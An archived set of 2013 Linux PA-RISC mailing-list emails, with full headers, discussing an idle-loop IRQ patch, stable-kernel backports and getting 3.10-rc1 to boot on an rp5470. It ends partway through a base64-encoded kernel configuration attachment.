> index 8b86c0c..829e41f 100644
> --- a/kernel/cpu/idle.c
> +++ b/kernel/cpu/idle.c
> @@ -56,6 +56,7 @@ void __weak arch_cpu_idle_dead(void) { }
>  void __weak arch_cpu_idle(void)
>  {
>  	cpu_idle_force_poll = 1;
> +	local_irq_enable();
>  }
>  
>  /*
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: Re: [PATCH] parisc: make default cross compiler search more robust
Date: Fri, 17 May 2013 11:25:37 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20130517182537.GA16640@kroah.com>
References: <20130516193138.GA392@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368815144 28925 80.91.229.3 (17 May 2013 18:25:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 May 2013 18:25:44 +0000 (UTC)
Cc: stable@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 17 20:25:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UdPLa-0008IP-Sw
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 May 2013 20:25:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755889Ab3EQSZj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 May 2013 14:25:39 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:52693 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755628Ab3EQSZi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 May 2013 14:25:38 -0400
Original-Received: from localhost (c-76-28-172-123.hsd1.wa.comcast.net [76.28.172.123])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id AA4CE71B;
	Fri, 17 May 2013 18:25:37 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20130516193138.GA392@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5038 gmane.linux.kernel.stable:53189
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5038>

On Thu, May 16, 2013 at 09:32:20PM +0200, Helge Deller wrote:
> please add to stable kernel v3.9
> this patch is a merge of upstream commits 
> 	93782eba49e23c3f311a6b05a19ba15927ec4e8b
> and
> 	6880b0150a7c25fd75c5ece80abc49ebf53c38c1

I prefer to take the original upstream patches, so I've just applied
both of these, instead of your merge.

thanks,

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: avoid WARNING: at kernel/cpu/idle.c:96
Date: Sat, 18 May 2013 00:55:47 +0530
Lines: 61
Approved: news@gmane.org
Message-ID: <5196843B.8060807@linux.vnet.ibm.com>
References: <20130508204242.GA16254@p100.box> <1368047134.8623.5.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368818937 2808 80.91.229.3 (17 May 2013 19:28:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 May 2013 19:28:57 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 17 21:28:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UdQKk-0007rb-HX
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 May 2013 21:28:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756063Ab3EQT2y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 May 2013 15:28:54 -0400
Original-Received: from e28smtp04.in.ibm.com ([122.248.162.4]:33130 "EHLO
	e28smtp04.in.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756033Ab3EQT2x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 May 2013 15:28:53 -0400
Original-Received: from /spool/local
	by e28smtp04.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Sat, 18 May 2013 00:53:45 +0530
Original-Received: from d28dlp02.in.ibm.com (9.184.220.127)
	by e28smtp04.in.ibm.com (192.168.1.134) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sat, 18 May 2013 00:53:45 +0530
Original-Received: from d28relay04.in.ibm.com (d28relay04.in.ibm.com [9.184.220.61])
	by d28dlp02.in.ibm.com (Postfix) with ESMTP id D702B3940023;
	Sat, 18 May 2013 00:58:45 +0530 (IST)
Original-Received: from d28av03.in.ibm.com (d28av03.in.ibm.com [9.184.220.65])
	by d28relay04.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r4HJSdjs14811622;
	Sat, 18 May 2013 00:58:39 +0530
Original-Received: from d28av03.in.ibm.com (loopback [127.0.0.1])
	by d28av03.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r4HJShqw009518;
	Sat, 18 May 2013 05:28:44 +1000
Original-Received: from srivatsabhat.in.ibm.com ([9.124.223.169])
	by d28av03.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r4HJShY3009497;
	Sat, 18 May 2013 05:28:43 +1000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20120828 Thunderbird/15.0
In-Reply-To: <1368047134.8623.5.camel@dabdike>
X-TM-AS-MML: No
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 13051719-5564-0000-0000-000007F915A5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5039 gmane.linux.kernel:1492729
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5039>

On 05/09/2013 02:35 AM, James Bottomley wrote:
> On Wed, 2013-05-08 at 22:42 +0200, Helge Deller wrote:
>> We need to enable local irqs to avoid this runtime warning.
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
>> index 55f92b6..2840d43 100644
>> --- a/arch/parisc/kernel/process.c
>> +++ b/arch/parisc/kernel/process.c
>> @@ -286,3 +286,8 @@ void *dereference_function_descriptor(void *ptr)
>>  	return ptr;
>>  }
>>  #endif
>> +
>> +void arch_cpu_idle(void)
>> +{
>> +	local_irq_enable();
> 
> This is definitely wrong.  we'd need at least a cpu_relax() in there.
> Without that the cpu will bounce around in the idle loop.  I'd advise
> that we simply keep the default cpu_idle_poll().
> 
> However, this looks like a kernel bug to me in cpu_idle_loop()?  not
> something we should be working around in the arch code.
> 
> Thomas, what's going on here?  It looks like you can never avoid the
> WARN_ON_ONCE if you don't provide any arch specific idle functions.  If
> you wish to allow this case then the correct patch (keeping the WARN_ON)
> would appear to be this one.
> 
> James
> 
> ----
> diff --git a/kernel/cpu/idle.c b/kernel/cpu/idle.c
> index 8b86c0c..829e41f 100644
> --- a/kernel/cpu/idle.c
> +++ b/kernel/cpu/idle.c
> @@ -56,6 +56,7 @@ void __weak arch_cpu_idle_dead(void) { }
>  void __weak arch_cpu_idle(void)
>  {
>  	cpu_idle_force_poll = 1;
> +	local_irq_enable();
>  }
> 
>  /*
> 

This patch looks like the correct fix to me.

Reviewed-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>

Regards,
Srivatsa S. Bhat


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: make default cross compiler search more robust
Date: Fri, 17 May 2013 22:06:08 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <51968DB0.6020108@gmx.de>
References: <20130516193138.GA392@p100.box> <20130517182537.GA16640@kroah.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368821175 24279 80.91.229.3 (17 May 2013 20:06:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 May 2013 20:06:15 +0000 (UTC)
Cc: stable@vger.kernel.org, linux-parisc@vger.kernel.org
To: Greg KH <gregkh@linuxfoundation.org>
Original-X-From: stable-owner@vger.kernel.org Fri May 17 22:06:14 2013
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1UdQur-00063f-Ro
	for glks-stable3@plane.gmane.org; Fri, 17 May 2013 22:06:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756410Ab3EQUGM (ORCPT <rfc822;glks-stable3@m.gmane.org>);
	Fri, 17 May 2013 16:06:12 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:55361 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755697Ab3EQUGL (ORCPT <rfc822;stable@vger.kernel.org>);
	Fri, 17 May 2013 16:06:11 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.28]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0LkUuD-1U60yX0mmh-00cS9I for
 <stable@vger.kernel.org>; Fri, 17 May 2013 22:06:10 +0200
Original-Received: (qmail invoked by alias); 17 May 2013 20:06:10 -0000
Original-Received: from p54AD2CCA.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.44.202]
  by mail.gmx.net (mp028) with SMTP; 17 May 2013 22:06:10 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19v9ilfuQ5vFieAoS3B0LhugQdKGECEORsTPTgrDX
	RmtVlBrHAttJbh
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <20130517182537.GA16640@kroah.com>
X-Y-GMX-Trusted: 0
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:53224 gmane.linux.ports.parisc:5040
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/53224>

On 05/17/2013 08:25 PM, Greg KH wrote:
> On Thu, May 16, 2013 at 09:32:20PM +0200, Helge Deller wrote:
>> please add to stable kernel v3.9
>> this patch is a merge of upstream commits 
>> 	93782eba49e23c3f311a6b05a19ba15927ec4e8b
>> and
>> 	6880b0150a7c25fd75c5ece80abc49ebf53c38c1
> 
> I prefer to take the original upstream patches, so I've just applied
> both of these, instead of your merge.

That's absolutely fine.
Thanks!

Helge


From - Thu Nov 08 21:09:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc boot crash on 3.10-rc1+git
Date: Fri, 17 May 2013 22:15:55 +0200
Lines: 1020
Approved: news@gmane.org
Message-ID: <51968FFB.6040707@gmx.de>
References: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee> <51929EAB.3020503@gmx.de> <alpine.SOC.1.00.1305150957460.29631@math.ut.ee> <5193D0F5.4060706@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------020704030008080608090906"
X-Trace: ger.gmane.org 1368821766 30526 80.91.229.3 (17 May 2013 20:16:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 May 2013 20:16:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 17 22:16:05 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UdR4N-00072l-KU
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 May 2013 22:16:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754692Ab3EQUQC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 May 2013 16:16:02 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:55230 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754333Ab3EQUQA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 May 2013 16:16:00 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.20]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0Le7py-1U9dbu0Som-00psVa for
 <linux-parisc@vger.kernel.org>; Fri, 17 May 2013 22:15:58 +0200
Original-Received: (qmail invoked by alias); 17 May 2013 20:15:57 -0000
Original-Received: from p54AD2CCA.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.44.202]
  by mail.gmx.net (mp020) with SMTP; 17 May 2013 22:15:57 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1++VoV6wMG+tq37brN+rGyXpYAf9zVoKcyWjvEQ+h
	UY3GSoPoJohKzU
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <5193D0F5.4060706@gmx.de>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5041
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5041>

This is a multi-part message in MIME format.
--------------020704030008080608090906
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

On 05/15/2013 08:16 PM, Helge Deller wrote:
> Hi Meelis,
> 
> On 05/15/2013 08:59 AM, Meelis Roos wrote:
>>>> It did not work - first a __schedule_bug, 
>>>
>>> I assume you have CONFIG_PREEMPT enabled? We know it's currently broken.
>>
>> It is already disabled:
>>
>> CONFIG_PREEMPT_NONE=y
>> # CONFIG_PREEMPT_VOLUNTARY is not set
>> # CONFIG_PREEMPT is not set
>> CONFIG_PREEMPT_COUNT=y
>>
>> I just enabled the new irqstacks...
> 
> Ok, the good thing is, that I got today a rp5470 with which I could reproduce your problems.
> 
> The bad thing is:
> Beside CONFIG_PREEMPT, CONFIG_DISCONTIGMEM is broken too.
> 
> I never noticed the DISCONTIGMEM bug, because all my other machines have flat/linear memory.

I'm not sure any more, that DISCONTIGMEM is buggy... still need more testing on this.

> Attached is a .config with which I was able to successfully boot (tftpboot) into.
> I'm right now looking into getting this machine installed via a new 3.10-rc1 kernel with the debian-5010-hppa-DVD-1.iso (and the initrd from it).
> 
> If I have something working I will make it available.

Just as a heads-up.

I was able to build a stable kernel (3.10-rc1 based + patches).
Dave and me still have at least two patches which made my kernel stable.
With those, I was now able to boot, install and fully upgrade to debian-unstable on my rp5470 (4xPA8700 CPUs).
In the config I used CONFIG_SMP=y (CONFIG_SMP=n crashed!), CONFIG_DISCONTIGMEM=n and CONFIG_PREEMPT=n. 
My config is attached to this mail. 
So, please stay tuned, I'm still working on getting further patches into 3.10.

And, maybe we get to a point, where we can provide new installation-medias....

Helge

--------------020704030008080608090906
Content-Type: text/plain; charset=UTF-8;
 name=".config"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename=".config"

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIGZpbGU7IERPIE5PVCBFRElULgojIExpbnV4
L3BhcmlzYyAzLjEwLjAtcmMxIEtlcm5lbCBDb25maWd1cmF0aW9uCiMKQ09ORklHX1BBUklT
Qz15CkNPTkZJR19NTVU9eQpDT05GSUdfU1RBQ0tfR1JPV1NVUD15CkNPTkZJR19SV1NFTV9H
RU5FUklDX1NQSU5MT0NLPXkKIyBDT05GSUdfQVJDSF9IQVNfSUxPRzJfVTMyIGlzIG5vdCBz
ZXQKIyBDT05GSUdfQVJDSF9IQVNfSUxPRzJfVTY0IGlzIG5vdCBzZXQKQ09ORklHX0dFTkVS
SUNfQlVHPXkKQ09ORklHX0dFTkVSSUNfSFdFSUdIVD15CkNPTkZJR19HRU5FUklDX0NBTElC
UkFURV9ERUxBWT15CkNPTkZJR19USU1FX0xPV19SRVM9eQpDT05GSUdfSEFWRV9MQVRFTkNZ
VE9QX1NVUFBPUlQ9eQpDT05GSUdfU1RBQ0tUUkFDRV9TVVBQT1JUPXkKQ09ORklHX05FRURf
RE1BX01BUF9TVEFURT15CkNPTkZJR19ORUVEX1NHX0RNQV9MRU5HVEg9eQpDT05GSUdfREVG
Q09ORklHX0xJU1Q9Ii9saWIvbW9kdWxlcy8kVU5BTUVfUkVMRUFTRS8uY29uZmlnIgpDT05G
SUdfSVJRX1dPUks9eQoKIwojIEdlbmVyYWwgc2V0dXAKIwpDT05GSUdfSU5JVF9FTlZfQVJH
X0xJTUlUPTMyCkNPTkZJR19DUk9TU19DT01QSUxFPSIiCkNPTkZJR19MT0NBTFZFUlNJT049
Ii02NGJpdCIKIyBDT05GSUdfTE9DQUxWRVJTSU9OX0FVVE8gaXMgbm90IHNldApDT05GSUdf
REVGQVVMVF9IT1NUTkFNRT0iKG5vbmUpIgpDT05GSUdfU1dBUD15CkNPTkZJR19TWVNWSVBD
PXkKQ09ORklHX1NZU1ZJUENfU1lTQ1RMPXkKQ09ORklHX1BPU0lYX01RVUVVRT15CkNPTkZJ
R19QT1NJWF9NUVVFVUVfU1lTQ1RMPXkKIyBDT05GSUdfRkhBTkRMRSBpcyBub3Qgc2V0CiMg
Q09ORklHX0FVRElUIGlzIG5vdCBzZXQKQ09ORklHX0hBVkVfR0VORVJJQ19IQVJESVJRUz15
CgojCiMgSVJRIHN1YnN5c3RlbQojCkNPTkZJR19HRU5FUklDX0hBUkRJUlFTPXkKQ09ORklH
X0dFTkVSSUNfSVJRX1BST0JFPXkKQ09ORklHX0lSUV9ET01BSU49eQojIENPTkZJR19JUlFf
RE9NQUlOX0RFQlVHIGlzIG5vdCBzZXQKCiMKIyBDUFUvVGFzayB0aW1lIGFuZCBzdGF0cyBh
Y2NvdW50aW5nCiMKQ09ORklHX1RJQ0tfQ1BVX0FDQ09VTlRJTkc9eQpDT05GSUdfQlNEX1BS
T0NFU1NfQUNDVD15CkNPTkZJR19CU0RfUFJPQ0VTU19BQ0NUX1YzPXkKQ09ORklHX1RBU0tT
VEFUUz15CkNPTkZJR19UQVNLX0RFTEFZX0FDQ1Q9eQpDT05GSUdfVEFTS19YQUNDVD15CkNP
TkZJR19UQVNLX0lPX0FDQ09VTlRJTkc9eQoKIwojIFJDVSBTdWJzeXN0ZW0KIwpDT05GSUdf
VFJFRV9SQ1U9eQojIENPTkZJR19QUkVFTVBUX1JDVSBpcyBub3Qgc2V0CkNPTkZJR19SQ1Vf
U1RBTExfQ09NTU9OPXkKQ09ORklHX1JDVV9GQU5PVVQ9NjQKQ09ORklHX1JDVV9GQU5PVVRf
TEVBRj0xNgojIENPTkZJR19SQ1VfRkFOT1VUX0VYQUNUIGlzIG5vdCBzZXQKIyBDT05GSUdf
VFJFRV9SQ1VfVFJBQ0UgaXMgbm90IHNldAojIENPTkZJR19SQ1VfTk9DQl9DUFUgaXMgbm90
IHNldAojIENPTkZJR19JS0NPTkZJRyBpcyBub3Qgc2V0CkNPTkZJR19MT0dfQlVGX1NISUZU
PTE3CiMgQ09ORklHX0NHUk9VUFMgaXMgbm90IHNldAojIENPTkZJR19DSEVDS1BPSU5UX1JF
U1RPUkUgaXMgbm90IHNldApDT05GSUdfTkFNRVNQQUNFUz15CiMgQ09ORklHX1VUU19OUyBp
cyBub3Qgc2V0CiMgQ09ORklHX0lQQ19OUyBpcyBub3Qgc2V0CiMgQ09ORklHX1BJRF9OUyBp
cyBub3Qgc2V0CiMgQ09ORklHX05FVF9OUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDSEVEX0FV
VE9HUk9VUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NZU0ZTX0RFUFJFQ0FURUQgaXMgbm90IHNl
dApDT05GSUdfUkVMQVk9eQpDT05GSUdfQkxLX0RFVl9JTklUUkQ9eQpDT05GSUdfSU5JVFJB
TUZTX1NPVVJDRT0iIgpDT05GSUdfUkRfR1pJUD15CkNPTkZJR19SRF9CWklQMj15CkNPTkZJ
R19SRF9MWk1BPXkKQ09ORklHX1JEX1haPXkKQ09ORklHX1JEX0xaTz15CkNPTkZJR19DQ19P
UFRJTUlaRV9GT1JfU0laRT15CkNPTkZJR19TWVNDVEw9eQpDT05GSUdfQU5PTl9JTk9ERVM9
eQpDT05GSUdfU1lTQ1RMX0FSQ0hfVU5BTElHTl9BTExPVz15CkNPTkZJR19IT1RQTFVHPXkK
IyBDT05GSUdfRVhQRVJUIGlzIG5vdCBzZXQKIyBDT05GSUdfU1lTQ1RMX1NZU0NBTEwgaXMg
bm90IHNldApDT05GSUdfS0FMTFNZTVM9eQojIENPTkZJR19LQUxMU1lNU19BTEwgaXMgbm90
IHNldApDT05GSUdfUFJJTlRLPXkKQ09ORklHX0JVRz15CkNPTkZJR19FTEZfQ09SRT15CkNP
TkZJR19CQVNFX0ZVTEw9eQpDT05GSUdfRlVURVg9eQpDT05GSUdfRVBPTEw9eQpDT05GSUdf
U0lHTkFMRkQ9eQpDT05GSUdfVElNRVJGRD15CkNPTkZJR19FVkVOVEZEPXkKQ09ORklHX1NI
TUVNPXkKQ09ORklHX0FJTz15CkNPTkZJR19QQ0lfUVVJUktTPXkKIyBDT05GSUdfRU1CRURE
RUQgaXMgbm90IHNldApDT05GSUdfSEFWRV9QRVJGX0VWRU5UUz15CgojCiMgS2VybmVsIFBl
cmZvcm1hbmNlIEV2ZW50cyBBbmQgQ291bnRlcnMKIwojIENPTkZJR19QRVJGX0VWRU5UUyBp
cyBub3Qgc2V0CkNPTkZJR19WTV9FVkVOVF9DT1VOVEVSUz15CkNPTkZJR19TTFVCX0RFQlVH
PXkKIyBDT05GSUdfQ09NUEFUX0JSSyBpcyBub3Qgc2V0CiMgQ09ORklHX1NMQUIgaXMgbm90
IHNldApDT05GSUdfU0xVQj15CiMgQ09ORklHX1BST0ZJTElORyBpcyBub3Qgc2V0CkNPTkZJ
R19IQVZFX09QUk9GSUxFPXkKQ09ORklHX0hBVkVfNjRCSVRfQUxJR05FRF9BQ0NFU1M9eQpD
T05GSUdfVVNFX0dFTkVSSUNfU01QX0hFTFBFUlM9eQpDT05GSUdfR0VORVJJQ19TTVBfSURM
RV9USFJFQUQ9eQpDT05GSUdfQVJDSF9IQVZFX05NSV9TQUZFX0NNUFhDSEc9eQpDT05GSUdf
SEFWRV9NT0RfQVJDSF9TUEVDSUZJQz15CkNPTkZJR19NT0RVTEVTX1VTRV9FTEZfUkVMQT15
CkNPTkZJR19DTE9ORV9CQUNLV0FSRFM9eQoKIwojIEdDT1YtYmFzZWQga2VybmVsIHByb2Zp
bGluZwojCiMgQ09ORklHX0dDT1ZfS0VSTkVMIGlzIG5vdCBzZXQKIyBDT05GSUdfSEFWRV9H
RU5FUklDX0RNQV9DT0hFUkVOVCBpcyBub3Qgc2V0CkNPTkZJR19TTEFCSU5GTz15CkNPTkZJ
R19SVF9NVVRFWEVTPXkKQ09ORklHX0JBU0VfU01BTEw9MApDT05GSUdfTU9EVUxFUz15CkNP
TkZJR19NT0RVTEVfRk9SQ0VfTE9BRD15CkNPTkZJR19NT0RVTEVfVU5MT0FEPXkKQ09ORklH
X01PRFVMRV9GT1JDRV9VTkxPQUQ9eQpDT05GSUdfTU9EVkVSU0lPTlM9eQojIENPTkZJR19N
T0RVTEVfU1JDVkVSU0lPTl9BTEwgaXMgbm90IHNldAojIENPTkZJR19NT0RVTEVfU0lHIGlz
IG5vdCBzZXQKQ09ORklHX0lOSVRfQUxMX1BPU1NJQkxFPXkKQ09ORklHX1NUT1BfTUFDSElO
RT15CkNPTkZJR19CTE9DSz15CkNPTkZJR19CTEtfREVWX0JTRz15CkNPTkZJR19CTEtfREVW
X0JTR0xJQj15CkNPTkZJR19CTEtfREVWX0lOVEVHUklUWT15CgojCiMgUGFydGl0aW9uIFR5
cGVzCiMKIyBDT05GSUdfUEFSVElUSU9OX0FEVkFOQ0VEIGlzIG5vdCBzZXQKQ09ORklHX01T
RE9TX1BBUlRJVElPTj15CkNPTkZJR19FRklfUEFSVElUSU9OPXkKQ09ORklHX0JMT0NLX0NP
TVBBVD15CgojCiMgSU8gU2NoZWR1bGVycwojCkNPTkZJR19JT1NDSEVEX05PT1A9eQojIENP
TkZJR19JT1NDSEVEX0RFQURMSU5FIGlzIG5vdCBzZXQKQ09ORklHX0lPU0NIRURfQ0ZRPXkK
Q09ORklHX0RFRkFVTFRfQ0ZRPXkKIyBDT05GSUdfREVGQVVMVF9OT09QIGlzIG5vdCBzZXQK
Q09ORklHX0RFRkFVTFRfSU9TQ0hFRD0iY2ZxIgpDT05GSUdfQlJPS0VOX1JPREFUQT15CkNP
TkZJR19JTkxJTkVfU1BJTl9VTkxPQ0tfSVJRPXkKQ09ORklHX0lOTElORV9SRUFEX1VOTE9D
Sz15CkNPTkZJR19JTkxJTkVfUkVBRF9VTkxPQ0tfSVJRPXkKQ09ORklHX0lOTElORV9XUklU
RV9VTkxPQ0s9eQpDT05GSUdfSU5MSU5FX1dSSVRFX1VOTE9DS19JUlE9eQpDT05GSUdfTVVU
RVhfU1BJTl9PTl9PV05FUj15CiMgQ09ORklHX0ZSRUVaRVIgaXMgbm90IHNldAoKIwojIFBy
b2Nlc3NvciB0eXBlIGFuZCBmZWF0dXJlcwojCiMgQ09ORklHX1BBNzAwMCBpcyBub3Qgc2V0
CiMgQ09ORklHX1BBNzEwMExDIGlzIG5vdCBzZXQKIyBDT05GSUdfUEE3MjAwIGlzIG5vdCBz
ZXQKIyBDT05GSUdfUEE3MzAwTEMgaXMgbm90IHNldApDT05GSUdfUEE4WDAwPXkKQ09ORklH
X1BBMjA9eQpDT05GSUdfUFJFRkVUQ0g9eQpDT05GSUdfTUxPTkdDQUxMUz15CkNPTkZJR182
NEJJVD15CkNPTkZJR19QQVJJU0NfUEFHRV9TSVpFXzRLQj15CiMgQ09ORklHX1BBUklTQ19Q
QUdFX1NJWkVfMTZLQiBpcyBub3Qgc2V0CiMgQ09ORklHX1BBUklTQ19QQUdFX1NJWkVfNjRL
QiBpcyBub3Qgc2V0CkNPTkZJR19TTVA9eQpDT05GSUdfSVJRU1RBQ0tTPXkKQ09ORklHX0hP
VFBMVUdfQ1BVPXkKQ09ORklHX0FSQ0hfU0VMRUNUX01FTU9SWV9NT0RFTD15CkNPTkZJR19B
